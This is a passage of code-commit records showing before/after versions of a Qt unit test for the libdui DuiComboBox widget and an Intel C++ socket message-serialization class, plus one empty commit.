QCOMPARE(viewPrivate->subtitle->text(), QString(\"foo2\"));\n    \/\/ remove current item\n    strListModel->removeRow(1);\n    QCOMPARE(m_combobox->currentIndex(), -1);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"!! Tap to Select\"));\n    \/\/ check that after removing items everything looks ok\n    QCOMPARE(m_combobox->count(), 2);\n    m_combobox->setCurrentIndex(1);\n    QCOMPARE(m_combobox->currentIndex(), 1);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"foo3\"));\n    \/\/ add one item\n    strListModel->insertRow(0);\n    strListModel->setData(strListModel->index(0, 0), QString(\"fooX\"), Qt::DisplayRole);\n    QCOMPARE(m_combobox->currentIndex(), 2);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"foo3\"));\n\n    \/\/ change current item text\n    strListModel->setData(strListModel->index(2, 0), QString(\"lamb\"), Qt::DisplayRole);\n    QCOMPARE(m_combobox->currentIndex(), 2);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"lamb\"));\n}\n\nvoid Ut_DuiComboBox::testStringListModelSetStringList()\n{\n    DuiComboBoxView *view = (DuiComboBoxView *)m_combobox->view();\n    DuiComboBoxViewPrivate *viewPrivate = view->d_func();\n\n    QStringListModel *strListModel = new QStringListModel();\n    strListModel->setStringList(QStringList() << \"foo0\" << \"foo1\" << \"foo2\" << \"foo3\");\n    m_combobox->setItemModel(strListModel);\n\n    \/\/ select foo2\n    m_combobox->setCurrentIndex(2);\n    \/\/ change string list completely\n    strListModel->setStringList(QStringList() << \"bar0\" << \"bar1\" << \"bar2\" << \"bar3\");\n    QCOMPARE(m_combobox->currentIndex(), -1);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"!! Tap to Select\"));\n}\n\nQTEST_APPLESS_MAIN(Ut_DuiComboBox)\n\n<commit_msg>Changes:  Unit tests ut_duicombobox - fixed right localization string and application name RevBy: TrustMe Details:<commit_after>\/***************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (directui@nokia.com)\n**\n** This file is part of libdui.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at directui@nokia.com.\n**\n** This library is free software; you can redistribute it and\/or\n** modify it under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation\n** and appearing in the file LICENSE.LGPL included in the packaging\n** of this file.\n**\n****************************************************************************\/\n\n#include <QTest>\n#include <QSignalSpy>\n#include <QList>\n#include <QObject>\n#include <QGraphicsSceneMouseEvent>\n#include <QModelIndex>\n#include <DuiApplication>\n#include <QStandardItemModel>\n#include <QVariant>\n#include <QGraphicsGridLayout>\n#include <DuiImageWidget>\n#include <DuiLabel>\n#include <DuiWindow>\n#include <DuiScene>\n#include <DuiSceneManager>\n#include <DuiPopupList>\n\n#include \"ut_duicombobox.h\"\n#include \"duicancelevent.h\"\n#include \"duicomboboxview.h\"\n#include \"duicomboboxview_p.h\"\n\nDuiApplication *app;\nDuiWindow *win;\n\nvoid Ut_DuiComboBox::initTestCase()\n{\n    static int argc = 1;\n    static char *argv[1] = { (char *) \".\/ut_duicombobox\" };\n    app = new DuiApplication(argc, argv);\n\n    win = new DuiWindow();\n    win->setSceneManager(new DuiSceneManager());\n}\n\nvoid Ut_DuiComboBox::cleanupTestCase()\n{\n    delete win;\n    win = NULL;\n    delete app;\n    app = NULL;\n}\n\nvoid Ut_DuiComboBox::init()\n{\n    m_combobox = new DuiComboBox();\n}\n\nvoid Ut_DuiComboBox::cleanup()\n{\n    if (m_combobox)\n        delete m_combobox;\n    m_combobox = NULL;\n}\n\nvoid Ut_DuiComboBox::testItemModel()\n{\n    QStringList buffer;\n    int total = 10;\n    for (int i = 0; i < total; i++)\n        buffer << \"Item\" + QString::number(i);\n\n    \/\/ test StandardItemModel\n    m_combobox->addItems(buffer);\n\n    QAbstractItemModel *itemModel = m_combobox->itemModel();\n    QStandardItemModel *smodel = qobject_cast<QStandardItemModel *>(itemModel);\n    QVERIFY(smodel != NULL);\n\n    \/\/ test use model from outside\n    QStringListModel model;\n    model.setStringList(buffer);\n\n    m_combobox->setItemModel(&model);\n    QCOMPARE(&model, m_combobox->itemModel());\n    QCOMPARE(m_combobox->count(), total);\n}\n\nvoid Ut_DuiComboBox::testActions()\n{\n    QStringList buffer;\n    int total = 10;\n    for (int i = 0; i < total; i++)\n        buffer << \"Item\" + QString::number(i);\n\n    \/\/ test add items\n    m_combobox->addItems(buffer);\n    QCOMPARE(m_combobox->count(), 10);\n\n    QAbstractItemModel *itemModel = m_combobox->itemModel();\n    QCOMPARE(itemModel->rowCount(), total);\n\n    m_combobox->clear();\n    QCOMPARE(m_combobox->count(), 0);\n\n    m_combobox->addItem(\"Just a test\");\n    QCOMPARE(m_combobox->count(), 1);\n\n    m_combobox->addItem(\"Icon\", \"Just a test\");\n    QCOMPARE(m_combobox->count(), 2);\n\n    \/\/ test remove item\n    m_combobox->removeItem(0);\n    QCOMPARE(m_combobox->count(), 1);\n\n    m_combobox->removeItem(0);\n    QCOMPARE(m_combobox->count(), 0);\n\n    \/\/ test insert item\n    m_combobox->insertItem(0, \"Just a test\");\n    QCOMPARE(m_combobox->count(), 1);\n\n    m_combobox->insertItem(0, \"Icon\", \"Just a test\");\n    QCOMPARE(m_combobox->count(), 2);\n\n    m_combobox->clear();\n    m_combobox->insertItems(0, buffer);\n    QCOMPARE(m_combobox->count(), total);\n}\n\nvoid Ut_DuiComboBox::testCurrentIndex()\n{\n    QStringList buffer;\n    int total = 10;\n    for (int i = 0; i < total; i++)\n        buffer << \"Item\" + QString::number(i);\n\n    m_combobox->addItems(buffer);\n\n    QSignalSpy spy1(m_combobox, SIGNAL(currentIndexChanged(int)));\n    QSignalSpy spy2(m_combobox, SIGNAL(currentIndexChanged(QString)));\n\n    m_combobox->setCurrentIndex(0);\n    QCOMPARE(m_combobox->currentIndex(), 0);\n    QCOMPARE(m_combobox->currentText(), QString(\"Item0\"));\n\n    QCOMPARE(spy1.count(), 1);\n    QCOMPARE(spy2.count(), 1);\n\n    QList<QVariant> arguments1 = spy1.takeFirst();\n    QVERIFY(arguments1.at(0).type() == QVariant::Int);\n    QVERIFY(arguments1.at(0).toInt() == 0);\n\n    QList<QVariant> arguments2 = spy2.takeFirst();\n    QVERIFY(arguments2.at(0).type() == QVariant::String);\n    QCOMPARE(arguments2.at(0).toString(), QString(\"Item0\"));\n}\n\nvoid Ut_DuiComboBox::testFunctions()\n{\n    QString value = \"test\";\n    m_combobox->setIconID(value);\n    QCOMPARE(m_combobox->iconID(), value);\n\n    m_combobox->setTitle(value);\n    QCOMPARE(m_combobox->title(), value);\n\n    m_combobox->setIconVisible(false);\n    QCOMPARE(m_combobox->isIconVisible(), false);\n\n    m_combobox->setIconVisible(true);\n    QCOMPARE(m_combobox->isIconVisible(), true);\n\n    m_combobox->insertItem(0, \"Just a test\");\n    m_combobox->setItemText(0, value);\n    QCOMPARE(m_combobox->itemText(0), value);\n\n    m_combobox->setItemIconID(0, value);\n    QCOMPARE(m_combobox->itemIconID(0), value);\n}\n\nvoid Ut_DuiComboBox::testCancelEvent()\n{\n    QSignalSpy showPopupSpy(m_combobox, SIGNAL(showPopupList()));\n\n    QGraphicsSceneMouseEvent mouseEvent(QEvent::GraphicsSceneMousePress);\n    m_combobox->mousePressEvent(&mouseEvent);\n    QVERIFY(m_combobox->isDown() == true);\n\n    DuiCancelEvent event;\n    m_combobox->cancelEvent(&event);\n\n    QCOMPARE(showPopupSpy.count(), 0);\n    QVERIFY(m_combobox->isDown() == false);\n}\n\nvoid Ut_DuiComboBox::testIconVisibility()\n{\n    DuiComboBoxView *view = (DuiComboBoxView *)m_combobox->view();\n    DuiComboBoxViewPrivate *viewPrivate = view->d_func();\n\n    m_combobox->setTitle(\"Title\");\n    view->updateData(QList<const char *>() << DuiComboBoxModel::Title);\n    QCOMPARE(viewPrivate->icon->isVisible(), false);\n    QCOMPARE(viewPrivate->layout->itemAt(0, 0), viewPrivate->title);\n\n    m_combobox->setIconID(\"Icon-music\");\n    view->updateData(QList<const char *>() << DuiComboBoxModel::IconID);\n    QCOMPARE(viewPrivate->icon->isVisible(), true);\n    QCOMPARE(viewPrivate->layout->itemAt(0, 0), viewPrivate->icon);\n\n    m_combobox->setIconVisible(false);\n    view->updateData(QList<const char *>() << DuiComboBoxModel::IconVisible);\n    QCOMPARE(viewPrivate->icon->isVisible(), false);\n    QCOMPARE(viewPrivate->layout->itemAt(0, 0), viewPrivate->title);\n\n    m_combobox->setIconVisible(true);\n    view->updateData(QList<const char *>() << DuiComboBoxModel::IconVisible);\n    QCOMPARE(viewPrivate->icon->isVisible(), true);\n    QCOMPARE(viewPrivate->layout->itemAt(0, 0), viewPrivate->icon);\n}\n\n\nvoid Ut_DuiComboBox::testClickSlot()\n{\n    win->scene()->addItem(m_combobox);\n\n    DuiComboBoxView *view = (DuiComboBoxView *)m_combobox->view();\n    DuiComboBoxViewPrivate *viewPrivate = view->d_func();\n\n    m_combobox->addItem(\"Item1\");\n    m_combobox->addItem(\"Item2\");\n\n    m_combobox->click();\n\n    QVERIFY(viewPrivate->popuplist != 0);\n    QVERIFY(viewPrivate->popuplist->isVisible());\n\n    win->scene()->removeItem(m_combobox);\n}\n\nvoid Ut_DuiComboBox::testBuiltinModel()\n{\n    DuiComboBoxView *view = (DuiComboBoxView *)m_combobox->view();\n    DuiComboBoxViewPrivate *viewPrivate = view->d_func();\n\n    m_combobox->addItems(QStringList() << \"item0\" << \"item1\" << \"item2\" << \"item3\");\n\n    \/\/ select item2\n    m_combobox->setCurrentIndex(2);\n    QCOMPARE(m_combobox->currentIndex(), 2);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"item2\"));\n    \/\/ remove item1, index should change\n    m_combobox->removeItem(1);\n    QCOMPARE(m_combobox->currentIndex(), 1);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"item2\"));\n    \/\/ remove current item\n    m_combobox->removeItem(1);\n    QCOMPARE(m_combobox->currentIndex(), -1);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"Tap to Select\"));\n    \/\/ check that after removing items everything looks ok\n    QCOMPARE(m_combobox->count(), 2);\n    m_combobox->setCurrentIndex(1);\n    QCOMPARE(m_combobox->currentIndex(), 1);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"item3\"));\n    \/\/ add one item\n    m_combobox->insertItem(0, QString(\"itemX\"));\n    QCOMPARE(m_combobox->currentIndex(), 2);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"item3\"));\n\n    \/\/ change current item text\n    m_combobox->setItemText(2, QString(\"beef\"));\n    QCOMPARE(m_combobox->currentIndex(), 2);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"beef\"));\n}\n\nvoid Ut_DuiComboBox::testModelSwitching()\n{\n    DuiComboBoxView *view = (DuiComboBoxView *)m_combobox->view();\n    DuiComboBoxViewPrivate *viewPrivate = view->d_func();\n\n    m_combobox->addItems(QStringList() << \"item0\" << \"item1\" << \"item2\" << \"item3\");\n\n    m_combobox->setCurrentIndex(2);\n    QCOMPARE(m_combobox->currentIndex(), 2);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"item2\"));\n\n    QStringListModel *strListModel = new QStringListModel();\n    strListModel->setStringList(QStringList() << \"foo0\" << \"foo1\" << \"foo2\" << \"foo3\");\n    m_combobox->setItemModel(strListModel);\n\n    \/\/ model changed selection should reset\n    QCOMPARE(m_combobox->currentIndex(), -1);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"Tap to Select\"));\n}\n\nvoid Ut_DuiComboBox::testStringListModel()\n{\n    DuiComboBoxView *view = (DuiComboBoxView *)m_combobox->view();\n    DuiComboBoxViewPrivate *viewPrivate = view->d_func();\n\n    QStringListModel *strListModel = new QStringListModel();\n    strListModel->setStringList(QStringList() << \"foo0\" << \"foo1\" << \"foo2\" << \"foo3\");\n    m_combobox->setItemModel(strListModel);\n\n    \/\/ select item 2\n    m_combobox->setCurrentIndex(2);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"foo2\"));\n    \/\/ remove item1, index should change\n    strListModel->removeRow(1);\n    QCOMPARE(m_combobox->currentIndex(), 1);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"foo2\"));\n    \/\/ remove current item\n    strListModel->removeRow(1);\n    QCOMPARE(m_combobox->currentIndex(), -1);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"Tap to Select\"));\n    \/\/ check that after removing items everything looks ok\n    QCOMPARE(m_combobox->count(), 2);\n    m_combobox->setCurrentIndex(1);\n    QCOMPARE(m_combobox->currentIndex(), 1);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"foo3\"));\n    \/\/ add one item\n    strListModel->insertRow(0);\n    strListModel->setData(strListModel->index(0, 0), QString(\"fooX\"), Qt::DisplayRole);\n    QCOMPARE(m_combobox->currentIndex(), 2);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"foo3\"));\n\n    \/\/ change current item text\n    strListModel->setData(strListModel->index(2, 0), QString(\"lamb\"), Qt::DisplayRole);\n    QCOMPARE(m_combobox->currentIndex(), 2);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"lamb\"));\n}\n\nvoid Ut_DuiComboBox::testStringListModelSetStringList()\n{\n    DuiComboBoxView *view = (DuiComboBoxView *)m_combobox->view();\n    DuiComboBoxViewPrivate *viewPrivate = view->d_func();\n\n    QStringListModel *strListModel = new QStringListModel();\n    strListModel->setStringList(QStringList() << \"foo0\" << \"foo1\" << \"foo2\" << \"foo3\");\n    m_combobox->setItemModel(strListModel);\n\n    \/\/ select foo2\n    m_combobox->setCurrentIndex(2);\n    \/\/ change string list completely\n    strListModel->setStringList(QStringList() << \"bar0\" << \"bar1\" << \"bar2\" << \"bar3\");\n    QCOMPARE(m_combobox->currentIndex(), -1);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"Tap to Select\"));\n}\n\nQTEST_APPLESS_MAIN(Ut_DuiComboBox)\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2011-2014, Intel Corporation\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation and\/or\n * other materials provided with the distribution.\n *\n * 3. Neither the name of the copyright holder nor the names of its contributors\n * may be used to endorse or promote products derived from this software without\n * specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n#include \"Message.h\"\n#include <assert.h>\n#include \"Socket.h\"\n#include \"RemoteProcessorProtocol.h\"\n#include <string.h>\n#include <assert.h>\n#include <errno.h>\n\nCMessage::CMessage(uint8_t ucMsgId) : _ucMsgId(ucMsgId), _pucData(NULL), _uiDataSize(0), _uiIndex(0)\n{\n}\n\nCMessage::CMessage() : _ucMsgId((uint8_t)-1), _pucData(NULL), _uiDataSize(0), _uiIndex(0)\n{\n}\n\nCMessage::~CMessage()\n{\n    delete [] _pucData;\n}\n\n\/\/ Msg Id\nuint8_t CMessage::getMsgId() const\n{\n    return _ucMsgId;\n}\n\n\/\/ Data\nvoid CMessage::writeData(const void* pvData, uint32_t uiSize)\n{\n    assert(_uiIndex + uiSize <= _uiDataSize);\n\n    \/\/ Copy\n    memcpy(&_pucData[_uiIndex], pvData, uiSize);\n\n    \/\/ Index\n    _uiIndex += uiSize;\n}\n\nvoid CMessage::readData(void* pvData, uint32_t uiSize)\n{\n    assert(_uiIndex + uiSize <= _uiDataSize);\n\n    \/\/ Copy\n    memcpy(pvData, &_pucData[_uiIndex], uiSize);\n\n    \/\/ Index\n    _uiIndex += uiSize;\n}\n\nvoid CMessage::writeString(const string& strData)\n{\n    \/\/ Size\n    uint32_t uiSize = strData.length();\n\n    writeData(&uiSize, sizeof(uiSize));\n\n    \/\/ Content\n    writeData(strData.c_str(), uiSize);\n}\n\nvoid CMessage::readString(string& strData)\n{\n    \/\/ Size\n    uint32_t uiSize;\n\n    readData(&uiSize, sizeof(uiSize));\n\n    \/\/ Data\n    char* pcData = new char[uiSize + 1];\n\n    \/\/ Content\n    readData(pcData, uiSize);\n\n    \/\/ NULL-terminate string\n    pcData[uiSize] = '\\0';\n\n    \/\/ Output\n    strData = pcData;\n\n    \/\/ Delete\n    delete [] pcData;\n}\n\nuint32_t CMessage::getStringSize(const string& strData) const\n{\n    \/\/ Return string length plus room to store its length\n    return strData.length() + sizeof(uint32_t);\n}\n\n\/\/ Remaining data size\nuint32_t CMessage::getRemainingDataSize() const\n{\n    return _uiDataSize - _uiIndex;\n}\n\n\/\/ Send\/Receive\nCMessage::Result CMessage::serialize(CSocket* pSocket, bool bOut, string& strError)\n{\n    if (bOut) {\n\n        \/\/ Make room for data to send\n        allocateData(getDataSize());\n\n        \/\/ Get data from derived\n        fillDataToSend();\n\n        \/\/ Finished providing data?\n        assert(_uiIndex == _uiDataSize);\n\n        \/\/ First send sync word\n        uint16_t uiSyncWord = SYNC_WORD;\n\n        if (!pSocket->write(&uiSyncWord, sizeof(uiSyncWord))) {\n\n            if (pSocket->hasPeerDisconnected()) {\n                return peerDisconnected;\n            }\n            return error;\n        }\n\n        \/\/ Size\n        uint32_t uiSize = sizeof(_ucMsgId) + _uiDataSize;\n\n        if (!pSocket->write(&uiSize, sizeof(uiSize))) {\n\n            strError += string(\"Size write failed: \") + strerror(errno);\n            return error;\n        }\n\n        \/\/ Msg Id\n        if (!pSocket->write(&_ucMsgId, sizeof(_ucMsgId))) {\n\n            strError += string(\"Msg write failed: \") + strerror(errno);\n            return error;\n        }\n\n        \/\/ Data\n        if (!pSocket->write(_pucData, _uiDataSize)) {\n\n            strError = string(\"Data write failed: \") + strerror(errno);\n            return error;\n        }\n\n        \/\/ Checksum\n        uint8_t ucChecksum = computeChecksum();\n\n        if (!pSocket->write(&ucChecksum, sizeof(ucChecksum))) {\n\n            strError = string(\"Checksum write failed: \") + strerror(errno);\n            return error;\n        }\n\n    } else {\n        \/\/ First read sync word\n        uint16_t uiSyncWord;\n\n        if (!pSocket->read(&uiSyncWord, sizeof(uiSyncWord))) {\n\n            strError = string(\"Sync read failed: \") + strerror(errno);\n            if (pSocket->hasPeerDisconnected()) {\n                return peerDisconnected;\n            }\n            return error;\n        }\n\n        \/\/ Check Sync word\n        if (uiSyncWord != SYNC_WORD) {\n\n            strError = \"Sync word incorrect\";\n            return error;\n        }\n\n        \/\/ Size\n        uint32_t uiSize;\n\n        if (!pSocket->read(&uiSize, sizeof(uiSize))) {\n\n            strError = string(\"Size read failed: \") + strerror(errno);\n            return error;\n        }\n\n        \/\/ Msg Id\n        if (!pSocket->read(&_ucMsgId, sizeof(_ucMsgId))) {\n\n            strError = string(\"Msg id read failed: \") + strerror(errno);\n            return error;\n        }\n\n        \/\/ Data\n\n        \/\/ Allocate\n        allocateData(uiSize - sizeof(_ucMsgId));\n\n        \/\/ Data receive\n        if (!pSocket->read(_pucData, _uiDataSize)) {\n\n            strError = string(\"Data read failed: \") + strerror(errno);\n            return error;\n        }\n\n        \/\/ Checksum\n        uint8_t ucChecksum;\n\n        if (!pSocket->read(&ucChecksum, sizeof(ucChecksum))) {\n\n            strError = string(\"Checksum read failed: \") + strerror(errno);\n            return error;\n        }\n        \/\/ Compare\n        if (ucChecksum != computeChecksum()) {\n\n            strError = \"Received checksum != computed checksum\";\n            return error;\n        }\n\n        \/\/ Collect data in derived\n        collectReceivedData();\n    }\n\n    return success;\n}\n\n\/\/ Checksum\nuint8_t CMessage::computeChecksum() const\n{\n    uint8_t uiChecksum = _ucMsgId;\n\n    uint32_t uiIndex;\n\n    for (uiIndex = 0; uiIndex < _uiDataSize; uiIndex++) {\n\n        uiChecksum += _pucData[uiIndex];\n    }\n\n    return uiChecksum;\n}\n\n\/\/ Data allocation\nvoid CMessage::allocateData(uint32_t uiSize)\n{\n    \/\/ Remove previous one\n    if (_pucData) {\n\n        delete [] _pucData;\n    }\n    \/\/ Do allocate\n    _pucData = new uint8_t[uiSize];\n\n    \/\/ Record size\n    _uiDataSize = uiSize;\n\n    \/\/ Reset Index\n    _uiIndex = 0;\n}\n<commit_msg>Remove non ASCII char from log string<commit_after>\/*\n * Copyright (c) 2011-2014, Intel Corporation\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation and\/or\n * other materials provided with the distribution.\n *\n * 3. Neither the name of the copyright holder nor the names of its contributors\n * may be used to endorse or promote products derived from this software without\n * specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n#include \"Message.h\"\n#include <assert.h>\n#include \"Socket.h\"\n#include \"RemoteProcessorProtocol.h\"\n#include <string.h>\n#include <assert.h>\n#include <errno.h>\n\nCMessage::CMessage(uint8_t ucMsgId) : _ucMsgId(ucMsgId), _pucData(NULL), _uiDataSize(0), _uiIndex(0)\n{\n}\n\nCMessage::CMessage() : _ucMsgId((uint8_t)-1), _pucData(NULL), _uiDataSize(0), _uiIndex(0)\n{\n}\n\nCMessage::~CMessage()\n{\n    delete [] _pucData;\n}\n\n\/\/ Msg Id\nuint8_t CMessage::getMsgId() const\n{\n    return _ucMsgId;\n}\n\n\/\/ Data\nvoid CMessage::writeData(const void* pvData, uint32_t uiSize)\n{\n    assert(_uiIndex + uiSize <= _uiDataSize);\n\n    \/\/ Copy\n    memcpy(&_pucData[_uiIndex], pvData, uiSize);\n\n    \/\/ Index\n    _uiIndex += uiSize;\n}\n\nvoid CMessage::readData(void* pvData, uint32_t uiSize)\n{\n    assert(_uiIndex + uiSize <= _uiDataSize);\n\n    \/\/ Copy\n    memcpy(pvData, &_pucData[_uiIndex], uiSize);\n\n    \/\/ Index\n    _uiIndex += uiSize;\n}\n\nvoid CMessage::writeString(const string& strData)\n{\n    \/\/ Size\n    uint32_t uiSize = strData.length();\n\n    writeData(&uiSize, sizeof(uiSize));\n\n    \/\/ Content\n    writeData(strData.c_str(), uiSize);\n}\n\nvoid CMessage::readString(string& strData)\n{\n    \/\/ Size\n    uint32_t uiSize;\n\n    readData(&uiSize, sizeof(uiSize));\n\n    \/\/ Data\n    char* pcData = new char[uiSize + 1];\n\n    \/\/ Content\n    readData(pcData, uiSize);\n\n    \/\/ NULL-terminate string\n    pcData[uiSize] = '\\0';\n\n    \/\/ Output\n    strData = pcData;\n\n    \/\/ Delete\n    delete [] pcData;\n}\n\nuint32_t CMessage::getStringSize(const string& strData) const\n{\n    \/\/ Return string length plus room to store its length\n    return strData.length() + sizeof(uint32_t);\n}\n\n\/\/ Remaining data size\nuint32_t CMessage::getRemainingDataSize() const\n{\n    return _uiDataSize - _uiIndex;\n}\n\n\/\/ Send\/Receive\nCMessage::Result CMessage::serialize(CSocket* pSocket, bool bOut, string& strError)\n{\n    if (bOut) {\n\n        \/\/ Make room for data to send\n        allocateData(getDataSize());\n\n        \/\/ Get data from derived\n        fillDataToSend();\n\n        \/\/ Finished providing data?\n        assert(_uiIndex == _uiDataSize);\n\n        \/\/ First send sync word\n        uint16_t uiSyncWord = SYNC_WORD;\n\n        if (!pSocket->write(&uiSyncWord, sizeof(uiSyncWord))) {\n\n            if (pSocket->hasPeerDisconnected()) {\n                return peerDisconnected;\n            }\n            return error;\n        }\n\n        \/\/ Size\n        uint32_t uiSize = sizeof(_ucMsgId) + _uiDataSize;\n\n        if (!pSocket->write(&uiSize, sizeof(uiSize))) {\n\n            strError += string(\"Size write failed: \") + strerror(errno);\n            return error;\n        }\n\n        \/\/ Msg Id\n        if (!pSocket->write(&_ucMsgId, sizeof(_ucMsgId))) {\n\n            strError += string(\"Msg write failed: \") + strerror(errno);\n            return error;\n        }\n\n        \/\/ Data\n        if (!pSocket->write(_pucData, _uiDataSize)) {\n\n            strError = string(\"Data write failed: \") + strerror(errno);\n            return error;\n        }\n\n        \/\/ Checksum\n        uint8_t ucChecksum = computeChecksum();\n\n        if (!pSocket->write(&ucChecksum, sizeof(ucChecksum))) {\n\n            strError = string(\"Checksum write failed: \") + strerror(errno);\n            return error;\n        }\n\n    } else {\n        \/\/ First read sync word\n        uint16_t uiSyncWord;\n\n        if (!pSocket->read(&uiSyncWord, sizeof(uiSyncWord))) {\n\n            strError = string(\"Sync read failed: \") + strerror(errno);\n            if (pSocket->hasPeerDisconnected()) {\n                return peerDisconnected;\n            }\n            return error;\n        }\n\n        \/\/ Check Sync word\n        if (uiSyncWord != SYNC_WORD) {\n\n            strError = \"Sync word incorrect\";\n            return error;\n        }\n\n        \/\/ Size\n        uint32_t uiSize;\n\n        if (!pSocket->read(&uiSize, sizeof(uiSize))) {\n\n            strError = string(\"Size read failed: \") + strerror(errno);\n            return error;\n        }\n\n        \/\/ Msg Id\n        if (!pSocket->read(&_ucMsgId, sizeof(_ucMsgId))) {\n\n            strError = string(\"Msg id read failed: \") + strerror(errno);\n            return error;\n        }\n\n        \/\/ Data\n\n        \/\/ Allocate\n        allocateData(uiSize - sizeof(_ucMsgId));\n\n        \/\/ Data receive\n        if (!pSocket->read(_pucData, _uiDataSize)) {\n\n            strError = string(\"Data read failed: \") + strerror(errno);\n            return error;\n        }\n\n        \/\/ Checksum\n        uint8_t ucChecksum;\n\n        if (!pSocket->read(&ucChecksum, sizeof(ucChecksum))) {\n\n            strError = string(\"Checksum read failed: \") + strerror(errno);\n            return error;\n        }\n        \/\/ Compare\n        if (ucChecksum != computeChecksum()) {\n\n            strError = \"Received checksum != computed checksum\";\n            return error;\n        }\n\n        \/\/ Collect data in derived\n        collectReceivedData();\n    }\n\n    return success;\n}\n\n\/\/ Checksum\nuint8_t CMessage::computeChecksum() const\n{\n    uint8_t uiChecksum = _ucMsgId;\n\n    uint32_t uiIndex;\n\n    for (uiIndex = 0; uiIndex < _uiDataSize; uiIndex++) {\n\n        uiChecksum += _pucData[uiIndex];\n    }\n\n    return uiChecksum;\n}\n\n\/\/ Data allocation\nvoid CMessage::allocateData(uint32_t uiSize)\n{\n    \/\/ Remove previous one\n    if (_pucData) {\n\n        delete [] _pucData;\n    }\n    \/\/ Do allocate\n    _pucData = new uint8_t[uiSize];\n\n    \/\/ Record size\n    _uiDataSize = uiSize;\n\n    \/\/ Reset Index\n    _uiIndex = 0;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Fix an accidental nested extern and conversion cleanup from brett's landing.<commit_after><|endoftext|>"}
